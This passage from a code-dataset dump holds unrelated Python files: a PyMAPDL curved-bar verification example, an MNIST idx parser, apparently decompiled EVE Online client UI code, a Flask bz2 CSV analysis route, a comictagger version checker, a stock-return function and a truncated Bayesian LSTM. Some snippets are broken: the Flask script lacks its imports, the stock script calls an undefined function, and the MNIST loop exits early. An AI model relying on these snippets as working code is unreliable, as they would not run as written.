~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Use Elastic Curved Pipe element (PIPE18) and set KEYOPT(6)=2 for printing member forces.\nmapdl.et(1, \"PIPE18\", \"\", \"\", \"\", \"\", \"\", 2)\n\n# Define geometry parameters (OD, wall thickness, radius) using \"r\" command (real constant)\nmapdl.r(1, 2, 1, 100)\n\n##################################################################################\n# Define material\n# ~~~~~~~~~~~~~~~\n# Set up the material and its type (a single material), Young's modulus of 30e6\n# and Poisson's ratio NUXY of 0.3 is specified.\nmapdl.mp(\"EX\", 1, 30e6)\nmapdl.mp(\"NUXY\", 1, 0.3)\n\n###############################################################################\n# Define geometry\n# ~~~~~~~~~~~~~~~\n# Set up the nodes and elements. This creates a mesh just like in the\n# problem setup.\n\n# Define nodes\nmapdl.n(1, 100)\nmapdl.n(2, \"\", 100)\nmapdl.n(10)\n\n# Define element\nmapdl.e(1, 2, 10)\n\n###############################################################################\n# Define boundary conditions and load\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Fix all dofs at node 1. Specify nodal force F = -50 lb along Z direction at node 2.\n# Then exit prep7 processor.\n\nmapdl.d(1, \"ALL\") # Define boundary conditions\nmapdl.f(2, \"FZ\", -50) # Define load\n\n# Selects all entities\nmapdl.allsel()\n# Element plot\nmapdl.eplot(vtk=False)\n\n# Finish preprocessing processor\nmapdl.finish()\n\n###############################################################################\n# Solve\n# ~~~~~\n# Enter solution mode and solve the system.\nmapdl.slashsolu()\n\n# Set the analysis type to STATIC\nmapdl.antype(\"STATIC\")\n\n# Set output options\nmapdl.outpr(\"BASIC\", 1)\n\n# Perform the solution\nmapdl.solve()\n# exists solution processor\nmapdl.finish()\n\n###############################################################################\n# Post-processing\n# ~~~~~~~~~~~~~~~\n# Enter post-processing. Compute deflection and stress quantities.\nmapdl.post1()\n\n# Set the current results set to the last set to be read from result file\nmapdl.set(\"LAST\")\n\n# Get displacement results at node 2 in the Z direction\ndef_z = mapdl.get(\"DEF\", \"NODE\", 2, \"U\", \"Z\")\n\n# Create an element table for bending stresses using ETABLE command\nstrs_ben = mapdl.etable(\"STRS_BEN\", \"NMISC\", 91)\n\n# Create an element table for shear stresses using ETABLE command\nstrs_shr = mapdl.etable(\"STRS_SHR\", \"LS\", 4)\n\n# Get bending stresses (ETAB: STRS_BEN) for element 1\nstrss_b = mapdl.get(\"STRSS_B\", \"ELEM\", 1, \"ETAB\", \"STRS_BEN\")\n\n# Get shear stresses (ETAB: STRS_SHR) for element 1\nstrss_t = mapdl.get(\"STRSS_T\", \"ELEM\", 1, \"ETAB\", \"STRS_SHR\")\n\n###############################################################################\n# Verify the results.\n# ~~~~~~~~~~~~~~~~~~~\n\n# Set target values\ntarget_val = [-2.648, 6366, -3183]\n\n# Fill result values\nsim_res = [def_z, strss_b, strss_t]\n\ncol_headers = [\"TARGET\", \"Mechanical APDL\", \"RATIO\"]\nrow_headers = [\"Deflection (in)\", \"Stress_Bend (psi)\", \"Shear Stress (psi)\"]\n\ndata = [target_val, sim_res, np.abs(target_val) / np.abs(sim_res)]\n\ntitle = f\"\"\"\n\n------------------- VM18 RESULTS COMPARISON ---------------------\n\nPIPE18:\n-------\n\"\"\"\n\nprint(title)\nprint(pd.DataFrame(np.transpose(data), row_headers, col_headers))\n\n###############################################################################\n# Finish the post-processing processor.\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nmapdl.finish()\n\n###############################################################################\n# Clears the database without restarting.\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nmapdl.run(\"/CLEAR,NOSTART\")\n\n###############################################################################\n# Set a new title for the analysis\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nmapdl.title(\"VM18 OUT-OF-PLANE BENDING OF A CURVED BAR Using PIPE289 ELEMENT MODEL\")\n\n###############################################################################\n# Switches to the preprocessor (PREP7)\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nmapdl.prep7()\n\n###############################################################################\n# Define element type and section properties\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Use 3-D 3-Node Pipe element (PIPE289) and set KEYOPT(4)= 2 Thick pipe theory.\nmapdl.et(1, \"PIPE289\", \"\", \"\", \"\", 2)\nmapdl.sectype(1, \"PIPE\") # Set section type PIPE\nmapdl.secdata(2, 1, 16) # Set section data (OD, wall thickness)\n\n##################################################################################\n# Define material\n# ~~~~~~~~~~~~~~~\n# Set up the material and its type (a single material), Young's modulus of 30e6\n# and Poisson's ratio NUXY of 0.3 is specified.\nmapdl.mp(\"EX\", 1, 30e6)\nmapdl.mp(\"NUXY\", 1, 0.3)\n\n###############################################################################\n# Define geometry\n# ~~~~~~~~~~~~~~~\n# Set up the nodes and elements. This creates a mesh just like in the\n# problem setup.\n\nmapdl.csys(1) # Set coordinate system to 1\n\nmapdl.n(1, 100) # Define nodes\n\n# Generate additional nodes\nmapdl.ngen(19, 1, 1, \"\", \"\", \"\", 5)\n\n# Define element\nmapdl.e(1, 3, 2)\n\n# Generate additional elements from an existing pattern\nmapdl.egen(9, 2, -1)\n\n# Reset coordinate system to global\nmapdl.csys(0)\n\n###############################################################################\n# Define boundary conditions and load\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Fix all dofs at node 1. Specify nodal force F = -50 lb along Z direction at node 19.\n# Then exit prep7 processor.\nmapdl.d(1, \"ALL\")\nmapdl.f(19, \"FZ\", -50)\n\n# Selects all entities\nmapdl.allsel()\n# Element plot\nmapdl.eplot(vtk=False)\n\n# exists pre-processing processor\nmapdl.finish()\n\n###############################################################################\n# Solve\n# ~~~~~\n# Enter solution mode and solve the system.\nmapdl.slashsolu()\n\n# Set the analysis type to STATIC\nmapdl.antype(\"STATIC\")\n\n# Set output options\nmapdl.outpr(\"BASIC\", 1)\n\n# Perform the solution\nmapdl.solve()\n# exists solution processor\nmapdl.finish()\n\n###############################################################################\n# Post-processing\n# ~~~~~~~~~~~~~~~\n# Enter post-processing. Compute deflection and stress quantities.\nmapdl.post1()\n\n# Set the current results set to the last set\nmapdl.set(\"LAST\")\nmapdl.graphics(\"POWER\") # Set graphics mode to POWER\nmapdl.eshape(1) # Set element shape\nmapdl.view(1, 1, 1, 1) # Set view\n\n# Get displacement results at node 19 in the Z direction\ndef_z = mapdl.get(\"DEF\", \"NODE\", 19, \"U\", \"Z\")\n\n# Create an element table for bending stresses using ETABLE command\nstrs_ben = mapdl.etable(\"STRS_BEN\", \"SMISC\", 35)\n\n# Get bending stresses (ETAB: STRS_BEN) for element 1 using ETABLE command\nstrss_b = mapdl.get(\"STRSS_B\", \"ELEM\", 1, \"ETAB\", \"STRS_BEN\")\n\n# for graphics displays\nmapdl.show(option=\"REV\")\n# Plot elemtal solution values for SXY component\nmapdl.plesol(\"S\", \"XY\")\n# Get minimum shear stress\nshear_sxy = mapdl.get(\"SHEAR\", \"PLNSOL\", 0, \"MIN\")\nmapdl.show(\"close\")\n\n###############################################################################\n# Verify the results.\n# ~~~~~~~~~~~~~~~~~~~\n\n# Set target values\ntarget_val = [-2.648, 6366, -3183]\n\n# Fill result values\nsim_res = [def_z, strss_b, shear_sxy]\n\ncol_headers = [\"TARGET\", \"Mechanical APDL\", \"RATIO\"]\nrow_headers = [\"Deflection (in)\", \"Stress_Bend (psi)\", \"Shear Stress (psi)\"]\n\ndata = [target_val, sim_res, np.abs(target_val) / np.abs(sim_res)]\n\ntitle = f\"\"\"\n\nPIPE289:\n--------\n\"\"\"\n\nprint(title)\nprint(pd.DataFrame(np.transpose(data), row_headers, col_headers))\n\n###############################################################################\n# Finish the post-processing processor.\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nmapdl.finish()\n\n###############################################################################\n# Stop MAPDL.\n# ~~~~~~~~~~~\nmapdl.exit()\n","repo_name":"ansys/pymapdl-examples","sub_path":"examples/verif-manual/vm-018.py","file_name":"vm-018.py","file_ext":"py","file_size_in_byte":10311,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"1551765363","text":"#-*- coding: utf-8 -*-\r\nimport numpy as np\r\nimport struct\r\nimport matplotlib.pyplot as plt\r\n#训练集的文件\r\ntrain_images_idx3_ubyte_file = 'F:/python/marchine_learning_note/MINST_data/train-images.idx3-ubyte'\r\n#训练集标签文件\r\ntrain_labels_idx1_ubyte_file = 'F:/python/marchine_learning_note/MINST_data/train-labels.idx1-ubyte'\r\n## 测试集文件\r\ntest_images_idx3_ubyte_file = 'F:/python/marchine_learning_note/MINST_data/t10k-images.idx3-ubyte'\r\n# 测试集标签文件\r\ntest_labels_idx1_ubyte_file = 'F:/python/marchine_learning_note/MINST_data/t10k-labels.idx1-ubyte'\r\n\r\n#读取并解析idx3的通用函数\r\ndef decode_idx3_ubyte(idx3_ubyte_file):\r\n #读取二进制数据\r\n bin_data = open(idx3_ubyte_file,'rb').read()\r\n #解析文件头信息\r\n offset = 0 #从文件的第几个字节开始读取\r\n fmt_header = '>iiii' #>代表大端,内存从左到右存储的字节越来越大 i代表无符号整型\r\n magic_number,num_images,num_rows,num_cols=struct.unpack_from(fmt_header,bin_data,offset)\r\n print(\"magic_number: %d\\nthe number of images: %d\\nthe size of images: %d,%d\\n\" % (magic_number,num_images,num_rows,num_cols))\r\n\r\n #解析数据集\r\n image_size = num_rows * num_cols\r\n offset += struct.calcsize(fmt_header) #获得数据在缓存中的指针位置 calcsize函数可以计算参数给定的数据格式占用的内存字节大小\r\n print(offset)\r\n fmt_image = '>' + str(image_size) + 'B' #读取image_size(28*28)个B格式数据 B对应unsignedchar\r\n print(\"读取的数据 开始的内存指针位置 读取数据的大小\")\r\n print(fmt_image,offset,struct.calcsize(fmt_image))\r\n images = np.empty((num_images,num_rows,num_cols))\r\n\r\n for i in range(num_images):\r\n if(i + 1) % 10000 ==0:\r\n print(\"%d pieces of images have been parsed\" % (i + 1))\r\n print(offset)\r\n\r\n images[i] = np.array(struct.unpack_from(fmt_image,bin_data,offset)).reshape((num_rows,num_cols))\r\n #print(images[i])\r\n offset += struct.calcsize(fmt_image) #指针移动fmt_image个大小的位置\r\n plt.imshow(images[i],'gray')#用matplotlib的imshow可以通过传入数组和图谱参数来显示图像\r\n plt.pause(0.00001)\r\n plt.show()\r\n exit()\r\n return images\r\n\r\ndef decode_idx1_ubyte(idx1_ubyte_file):\r\n #读取二进制数据\r\n bin_data = open(idx1_ubyte_file,'rb').read()\r\n\r\n #解析文件头信息 分别是magic_number 和 num_images\r\n offset = 0\r\n fmt_header = '>ii'\r\n magic_number,num_images = struct.unpack_from(fmt_header,bin_data,offset)\r\n print(\"the magic number : %d\" %magic_number)\r\n print(\"the label number : %d\" %num_images)\r\n\r\n #解析数据集\r\n offset += struct.calcsize(fmt_header)\r\n fmt_image = '>B'\r\n labels = np.empty(num_images)\r\n for i in range(num_images):\r\n if(i + 1) % 10000 == 0:\r\n print('%d pieces of labels have been parsed' % (i + 1))\r\n labels[i] = struct.unpack_from(fmt_image,bin_data,offset)[0] #只读取从offset位置开始的fmt_image数据的第一个\r\n offset += struct.calcsize(fmt_image) #把指针更新到offset的位置\r\n #print(labels[i])\r\n #print(type(labels[i]))\r\n #exit()\r\n #print(labels[5000])\r\n return labels\r\n\r\n\r\n\r\n\r\n\r\n#decode_idx1_ubyte(train_labels_idx1_ubyte_file)\r\n#decode_idx3_ubyte(train_images_idx3_ubyte_file)\r\n\r\n\r\n","repo_name":"Crystal-Dragon-Liu/ML_practise","sub_path":"marchine_learning_note/MINST_data/MINST_DATA.py","file_name":"MINST_DATA.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37019498751","text":"#Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\eve\\client\\script\\ui\\shared\\languageWindow.py\r\nfrom carbonui.primitives.containerAutoSize import ContainerAutoSize\r\nfrom carbonui.primitives.layoutGrid import LayoutGrid\r\nfrom carbonui.primitives.line import Line\r\nfrom eve.client.script.ui.control.buttonGroup import ButtonGroup\r\nfrom eve.client.script.ui.control.checkbox import Checkbox\r\nfrom eve.client.script.ui.control.eveCombo import Combo\r\nfrom eve.client.script.ui.control.eveLabel import WndCaptionLabel, EveLabelMedium\r\nfrom eve.client.script.ui.control.eveWindow import Window\r\nfrom localization import GetByLabel\r\nimport carbonui.const as uiconst\r\nimport localization\r\nfrom localization.const import IMPORTANT_EN_OVERRIDE\r\nfrom localization.util import ConvertLanguageIDToMLS\r\nmlsToDisplayNamePaths = {'JA': 'UI/SystemMenu/Language/LanguageJapanese',\r\n 'DE': 'UI/SystemMenu/Language/LanguageGerman',\r\n 'EN': 'UI/SystemMenu/Language/LanguageEnglish',\r\n 'FR': 'UI/SystemMenu/Language/LanguageFrench',\r\n 'RU': 'UI/SystemMenu/Language/LanguageRussian',\r\n 'ZH': 'UI/SystemMenu/Language/LanguageChinese'}\r\n\r\nclass LanguageWindow(Window):\r\n __guid__ = 'LanguageWindow'\r\n default_windowID = 'bilingualWindow'\r\n default_captionLabelPath = 'UI/LanguageWindow/BilingualFunctionalityHeader'\r\n default_iconNum = 'res:/ui/Texture/WindowIcons/Settings.png'\r\n\r\n def ApplyAttributes(self, attributes):\r\n Window.ApplyAttributes(self, attributes)\r\n self.SetWndIcon('res:/ui/Texture/WindowIcons/Settings.png', mainTop=-6)\r\n self.SetMainIconSize(64)\r\n self.width = 350\r\n self.height = 400\r\n self.MakeUnResizeable()\r\n self.currentComboValue = localization.settings.bilingualSettings.GetValue('localizationImportantNames')\r\n WndCaptionLabel(text=GetByLabel('UI/LanguageWindow/BilingualFunctionalityHeader'), parent=self.sr.topParent, align=uiconst.RELATIVE)\r\n self.autoSizeMain = ContainerAutoSize(parent=self.sr.main, name='autoSizeMain', align=uiconst.TOTOP, callback=self.OnAutoSizeMainResize, padLeft=2, padRight=2)\r\n text = GetByLabel('UI/LanguageWindow/BodyText')\r\n EveLabelMedium(text=text, parent=self.autoSizeMain, align=uiconst.TOTOP, padding=(10, 4, 10, 0))\r\n self.btnGroup = ButtonGroup(parent=self.sr.main, idx=0)\r\n self.btnGroup.AddButton(GetByLabel('UI/Commands/Apply'), self.Save)\r\n self.btnGroup.AddButton(GetByLabel('UI/Common/Close'), self.Cancel)\r\n grid = LayoutGrid(parent=self.autoSizeMain, align=uiconst.TOTOP, columns=2, name='grid', padTop=10, padLeft=20, cellSpacing=4)\r\n languageID = ConvertLanguageIDToMLS(session.languageID)\r\n self.currentLanguageString = GetByLabel(mlsToDisplayNamePaths[languageID])\r\n text = GetByLabel('UI/SystemMenu/Language/Display')\r\n comboLabel = EveLabelMedium(text=text, parent=grid, align=uiconst.TOPLEFT, state=uiconst.UI_NORMAL)\r\n comboLabel.hint = GetByLabel('UI/SystemMenu/Language/ImportantNamesExplanation')\r\n options = [(self.currentLanguageString, 0), (GetByLabel('UI/SystemMenu/Language/EnglishReplacement'), IMPORTANT_EN_OVERRIDE)]\r\n self.displayCombo = Combo(label='', parent=grid, options=options, name='displayCombo', select=self.currentComboValue, width=115, pos=(10, 0, 0, 0), align=uiconst.TOPLEFT, callback=self.OnComboChanged, hint=GetByLabel('UI/SystemMenu/Language/ImportantNamesExplanation'))\r\n tooltipText = self.GetTooltipCheckboxText()\r\n checked = localization.settings.bilingualSettings.GetValue('languageTooltip')\r\n self.tooltipCB = Checkbox(text=tooltipText, parent=None, configName='tooltipsCB', checked=checked, align=uiconst.TOPLEFT, width=300)\r\n grid.AddCell(cellObject=self.tooltipCB, colSpan=grid.columns)\r\n hiliteImportantText = GetByLabel('UI/SystemMenu/Language/HighlightImportantNames')\r\n checked = localization.settings.bilingualSettings.GetValue('localizationHighlightImportant')\r\n self.importantCB = Checkbox(text=hiliteImportantText, parent=None, configName='importantNamesCB', checked=checked, align=uiconst.TOPLEFT, width=300)\r\n grid.AddCell(cellObject=self.importantCB, colSpan=grid.columns)\r\n text = localization.GetByLabel('UI/LanguageWindow/ChangeSettingsInEsc')\r\n EveLabelMedium(text=text, parent=self.autoSizeMain, align=uiconst.TOTOP, padding=(10, 10, 10, 0))\r\n Line(parent=self.autoSizeMain, align=uiconst.TOTOP, color=(1, 1, 1, 0.1), padTop=4, padBottom=2)\r\n text = GetByLabel('UI/Messages/TxtSuppress2Body')\r\n self.suppressCb = Checkbox(text=text, parent=self.autoSizeMain, configName='importantNamesCB', retval=0, checked=0, align=uiconst.TOTOP, padLeft=6)\r\n\r\n def OnAutoSizeMainResize(self):\r\n headerHeight = self.GetCollapsedHeight()\r\n captionHeight = self.topParentHeight\r\n if getattr(self, 'btnGroup', None):\r\n buttonHeight = self.btnGroup.height\r\n else:\r\n buttonHeight = 0\r\n autoContainerSize = self.autoSizeMain.height + self.autoSizeMain.padTop + self.autoSizeMain.padBottom + buttonHeight\r\n newheight = headerHeight + captionHeight + autoContainerSize\r\n if newheight != self.height:\r\n self.height = newheight\r\n self.SetFixedHeight(self.height)\r\n\r\n def GetTooltipCheckboxText(self):\r\n if self.currentComboValue == localization.const.IMPORTANT_EN_OVERRIDE:\r\n tooltipText = GetByLabel('UI/SystemMenu/Language/ShowTooltipInLanguage', language=self.currentLanguageString)\r\n else:\r\n english = GetByLabel(mlsToDisplayNamePaths['EN'])\r\n tooltipText = GetByLabel('UI/SystemMenu/Language/ShowTooltipInLanguage', language=english)\r\n return tooltipText\r\n\r\n def OnComboChanged(self, combo, key, value, *args):\r\n self.currentComboValue = value\r\n tooltipText = self.GetTooltipCheckboxText()\r\n self.tooltipCB.SetLabel(tooltipText)\r\n\r\n def Save(self, *args):\r\n changeMade = False\r\n importantNamesLocalized = self.displayCombo.GetValue()\r\n if self.GetLanguageSetting('localizationImportantNames') != importantNamesLocalized:\r\n changeMade = True\r\n self.SetLanguageSetting('localizationImportantNames', importantNamesLocalized)\r\n tooltipChecked = self.tooltipCB.checked\r\n if self.GetLanguageSetting('languageTooltip') != tooltipChecked:\r\n changeMade = True\r\n self.SetLanguageSetting('languageTooltip', tooltipChecked)\r\n importantNameChecked = self.importantCB.checked\r\n if self.GetLanguageSetting('localizationHighlightImportant') != importantNameChecked:\r\n changeMade = True\r\n self.SetLanguageSetting('localizationHighlightImportant', importantNameChecked)\r\n localization.ClearImportantNameSetting()\r\n self.StoreSuppressSettingAndCloseWindow()\r\n if changeMade:\r\n localization.settings.bilingualSettings.UpdateAndSaveSettings()\r\n sm.ChainEvent('ProcessUIRefresh')\r\n sm.ScatterEvent('OnUIRefresh')\r\n\r\n def Cancel(self, *args):\r\n self.StoreSuppressSettingAndCloseWindow()\r\n\r\n def StoreSuppressSettingAndCloseWindow(self):\r\n suppressedChecked = self.suppressCb.checked\r\n if suppressedChecked:\r\n settings.user.suppress.Set('suppress.Bilingual_suppressMessage', True)\r\n self.CloseByUser()\r\n\r\n def GetLanguageSetting(self, configName):\r\n return localization.settings.bilingualSettings.GetValue(configName)\r\n\r\n def SetLanguageSetting(self, configName, value):\r\n return localization.settings.bilingualSettings.SetValue(configName, value)\r\n","repo_name":"connoryang/dec-eve-serenity","sub_path":"client/eve/client/script/ui/shared/languageWindow.py","file_name":"languageWindow.py","file_ext":"py","file_size_in_byte":7730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"18984291622","text":"import requests\n\n# Ruta de la API para analizar un archivo comprimido en formato bz2 y realizar el análisis de números de coincidencias.\n# Recibe una solicitud POST con un archivo comprimido en formato bz2.\n# Realiza el análisis de números de coincidencias en el archivo.\n# Devuelve los resultados del análisis en formato JSON.\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n\n#Ruta principal que renderiza la página index.html.\n\n return render_template('index.html')\n\n@app.route('/analisis', methods=['POST'])\ndef analizar_archivo():\n \n try:\n archivo = request.files['archivo']\n except KeyError:\n return jsonify({'error': 'No se proporcionó ningún archivo en la solicitud POST.'}), 400\n\n datos = []\n with bz2.open(archivo, 'rt') as f:\n df = pd.read_csv(f, sep=',', header=None, names=[\"Time\", \"Duration\", \"SrcDevice\", \"DstDevice\", \"Protocol\", \"SrcProt\", \"DstPort\", \"SrcPackets\", \"DstPackets\", \"SrcBytes\", \"DstBytes\"])\n datos = df.to_dict(orient='records')\n\n return jsonify(datos)\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"ericitstep/ProyectoFinal","sub_path":"analisis.py","file_name":"analisis.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19561578982","text":"from __future__ import annotations\n\nimport logging\n\nimport requests\n\nfrom comictaggerlib import ctversion\n\nlogger = logging.getLogger(__name__)\n\n\nclass VersionChecker:\n def get_request_url(self, uuid: str) -> tuple[str, dict[str, str]]:\n base_url = \"https://api.github.com/repos/comictagger/comictagger/releases/latest\"\n params: dict[str, str] = {}\n\n return base_url, params\n\n def get_latest_version(self, uuid: str) -> tuple[str, str]:\n try:\n url, params = self.get_request_url(uuid)\n release = requests.get(\n url,\n params=params,\n headers={\"user-agent\": \"comictagger/\" + ctversion.version},\n ).json()\n except Exception:\n return \"\", \"\"\n\n new_version = release[\"tag_name\"]\n if new_version is None or new_version == \"\":\n return \"\", \"\"\n return new_version.strip(), release[\"name\"]\n","repo_name":"comictagger/comictagger","sub_path":"comictaggerlib/versionchecker.py","file_name":"versionchecker.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":444,"dataset":"github-code","pt":"52"} +{"seq_id":"32592616951","text":"def max_returns(prices):\n \"\"\"\n Calculate maxiumum possible return\n \n Args:\n prices(array): array of prices\n Returns:\n int: The maximum profit possible\n \"\"\"\n current_min_index = 0\n min_price_index = 0\n max_price_index = 0\n for index in range(len(prices)):\n if prices[index] < prices[current_min_index]:\n current_min_index = index\n \n if prices[index] - prices[current_min_index] > prices[max_price_index] - prices[min_price_index]:\n max_price_index = index\n min_price_index = current_min_index\n \n return prices[max_price_index] - prices[min_price_index]\n\nprices = [2, 2, 7, 9, 9, 12, 18, 23, 34, 37, 45, 54, 78]\nsolution = 76\ntest_case = [prices, solution]\ntest_function(test_case)\n\nprices = [54, 18, 37, 9, 11, 48, 23, 1, 7, 34, 2, 45, 67]\nsolution = 66\ntest_case = [prices, solution]\ntest_function(test_case)\n\nprices = [40, 100, 1, 50]\nsolution = 60\ntest_case = [prices, solution]\ntest_function(test_case)\n\nprices = [78, 54, 45, 37, 34, 23, 18, 12, 9, 9, 7, 2, 2]\nsolution = 0\ntest_case = [prices, solution]\ntest_function(test_case)","repo_name":"sh-tatsuno/python-algorithm","sub_path":"advanced/dynamic_programming/stock_prices.py","file_name":"stock_prices.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41609900443","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport time\nimport numpy as np\nimport tensorflow as tf\nimport math\nimport reader\nimport util\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-model', type=str, default='small',\n choices=['small', 'medium', 'large', 'test'])\nparser.add_argument('-data_path', type=str, default='./data/simple-examples/data')\nparser.add_argument('-save_path', type=str, default='./model/saved_new')\nparser.add_argument('-prior_pi', type=float, default=0.25)\nparser.add_argument('-log_sigma1', type=float, default=-1.0)\nparser.add_argument('-log_sigma2', type=float, default=-7.0)\nparser.add_argument('-inference_mode', type=str, default='sample')\nparser.add_argument('-b_stochastic', type=int, default=1)\nparser.add_argument('-random_seed', type=int, default=12)\nFLAGS = parser.parse_args()\nFLAGS.b_stochastic = bool(FLAGS.b_stochastic)\n\n\ndef data_type():\n\treturn tf.float32\n\n\n# Helpers\ndef logsum_mog(x, pi, mu1, mu2, sigma1, sigma2):\n\treturn log_sum_exp(tf.log(pi) + log_normal(x, mu1, sigma1),\n\t tf.log(1. - pi) + log_normal(x, mu2, sigma2))\n\n\ndef log_sum_exp(u, v):\n\tm = tf.maximum(u, v)\n\treturn m + tf.log(tf.exp(u - m) + tf.exp(v - m))\n\n\ndef log_normal(x, mu, sigma):\n\treturn -0.5 * tf.log(2.0 * math.pi) - tf.log(tf.abs(sigma)) - tf.square((x - mu)) / (\n\t\t2 * tf.square(sigma))\n\n\ndef compute_KL(shape, mu, sigma, prior, sample):\n\tposterior = tf.contrib.distributions.Normal(mu, sigma)\n\tKL = tf.reduce_sum(posterior.log_prob(tf.reshape(sample, [-1])))\n\tN1 = tf.contrib.distributions.Normal(0.0, prior.sigma1)\n\tN2 = tf.contrib.distributions.Normal(0.0, prior.sigma2)\n\tmix1 = tf.reduce_sum(N1.log_prob(sample), 1) + tf.log(prior.pi_mixture)\n\tmix2 = tf.reduce_sum(N2.log_prob(sample), 1) + tf.log(1.0 - prior.pi_mixture)\n\tprior_mix = tf.stack([mix1, mix2])\n\tKL += -tf.reduce_sum(tf.reduce_logsumexp(prior_mix, [0]))\n\treturn KL\n\n\ndef get_config():\n\t\"\"\"Get model config.\"\"\"\n\tconfig = None\n\tif FLAGS.model == \"small\":\n\t\tconfig = SmallConfig()\n\telif FLAGS.model == \"medium\":\n\t\tconfig = MediumConfig()\n\telif FLAGS.model == \"large\":\n\t\tconfig = LargeConfig()\n\telif FLAGS.model == \"test\":\n\t\tconfig = TestConfig()\n\telse:\n\t\traise ValueError(\"Invalid model: %s\", FLAGS.model)\n\n\t# Set BBB params\n\tconfig.prior_pi = FLAGS.prior_pi\n\tconfig.log_sigma1 = FLAGS.log_sigma1\n\tconfig.log_sigma2 = FLAGS.log_sigma2\n\tconfig.b_stochastic = FLAGS.b_stochastic\n\n\treturn config\n\n\ndef get_bbb_variable(shape, name, prior, is_training):\n\t\"\"\"gets a bbb_variable.\n\n\tIt assumes Gaussian posterior and it creates two variables: name +'_mean',\n\twhich corresponds to the mean of the gaussian; and name+ '_rho' which\n\tcorresponds to the std of the gaussian (sigma = tf.nn.softplus(rho) + 1e-5).\n\n\tArgs:\n\t shape: shape of variable\n\t name: string with variable name\n\t prior: belongs to class Prior\n\t kl: if True will compute(approx) kl between prior and current variable and\n\t\t add it to a collection called \"KL_layers\"\n\t reuse: either to reuse variable or not\n\n\tReturns:\n\t output: sample from posterior Normal(mean, sigma)\n\t\"\"\"\n\n\t# No initializer specified -> will use the U(-scale, scale) init from main()\n\twith tf.variable_scope('BBB', reuse=not is_training):\n\t\tmu = tf.get_variable(name + '_mean', shape, dtype=data_type())\n\n\trho_max_init = math.log(math.exp(prior.sigma_mix / 1.0) - 1.0)\n\trho_min_init = math.log(math.exp(prior.sigma_mix / 2.0) - 1.0)\n\tinit = tf.random_uniform_initializer(rho_min_init, rho_max_init)\n\n\twith tf.variable_scope('BBB', reuse=not is_training):\n\t\trho = tf.get_variable(\n\t\t\tname + '_rho', shape, dtype=data_type(), initializer=init)\n\n\tif is_training or FLAGS.inference_mode == 'sample':\n\t\tepsilon = tf.contrib.distributions.Normal(0.0, 1.0).sample(shape)\n\t\tsigma = tf.nn.softplus(rho) + 1e-5\n\t\toutput = mu + sigma * epsilon\n\telse:\n\t\toutput = mu\n\n\tif not is_training:\n\t\treturn output\n\n\ttf.summary.histogram(name + '_rho_hist', rho)\n\ttf.summary.histogram(name + '_mu_hist', mu)\n\ttf.summary.histogram(name + '_sigma_hist', sigma)\n\n\tsample = output\n\t# kl = compute_kl(mu, sigma, prior, sample, name)\n\tkl = compute_KL(shape, tf.reshape(mu, [-1]), tf.reshape(sigma, [-1]), prior, sample)\n\ttf.add_to_collection('KL_layers', kl)\n\treturn output\n\n\nclass Prior(object):\n\tdef __init__(self, pi, log_sigma1, log_sigma2):\n\t\tself.pi_mixture = pi\n\t\tself.log_sigma1 = log_sigma1\n\t\tself.log_sigma2 = log_sigma2\n\t\tself.sigma1 = tf.exp(log_sigma1)\n\t\tself.sigma2 = tf.exp(log_sigma2)\n\n\t\tsigma_one, sigma_two = math.exp(log_sigma1), math.exp(log_sigma2)\n\t\tself.sigma_mix = np.sqrt(pi * np.square(sigma_one) + (1.0 - pi) * np.square(sigma_two))\n\n\tdef get_logp(self, sample):\n\t\tsigma1, sigma2 = tf.exp(self.log_sigma1), tf.exp(self.log_sigma2)\n\t\treturn logsum_mog(sample, self.pi_mixture, 0., 0., sigma1, sigma2)\n\n\ndef compute_kl(mu, sigma, prior, sample, name):\n\tlogp = prior.get_logp(sample)\n\tlogq = log_normal(sample, mu, sigma)\n\tkl = tf.reduce_sum(logq - logp)\n\n\ttf.summary.histogram(name + '_log_p', logp)\n\ttf.summary.histogram(name + '_log_q', logq)\n\treturn kl\n\n\nclass BayesianLSTM(tf.contrib.rnn.BasicLSTMCell):\n\t\"\"\"\n\tPass weights in init.\n\t\"\"\"\n\n\tdef __init__(self, num_units, theta, b, forget_bias=1.0, state_is_tuple=True,\n\t activation=tf.tanh,\n\t reuse=None, name=None):\n\t\tsuper(BayesianLSTM, self).__init__(num_units, forget_bias, state_is_tuple, activation,\n\t\t reuse=reuse)\n\n\t\tself.theta = theta\n\t\tself.b = b\n\t\tself.name = name\n\n\tdef _output(self, inputs, h):\n\t\t\"\"\"\n\t\tForward pass in the LSTM.\n\t\t\"\"\"\n\t\txh = tf.concat([inputs, h], 1)\n\t\tout = tf.matmul(xh, self.theta) + tf.squeeze(self.b)\n\t\treturn out\n\n\tdef call(self, inputs, state):\n\t\tif self._state_is_tuple:\n\t\t\tc, h = state\n\t\telse:\n\t\t\tc, h = tf.split(value=state, num_or_size_splits=2, 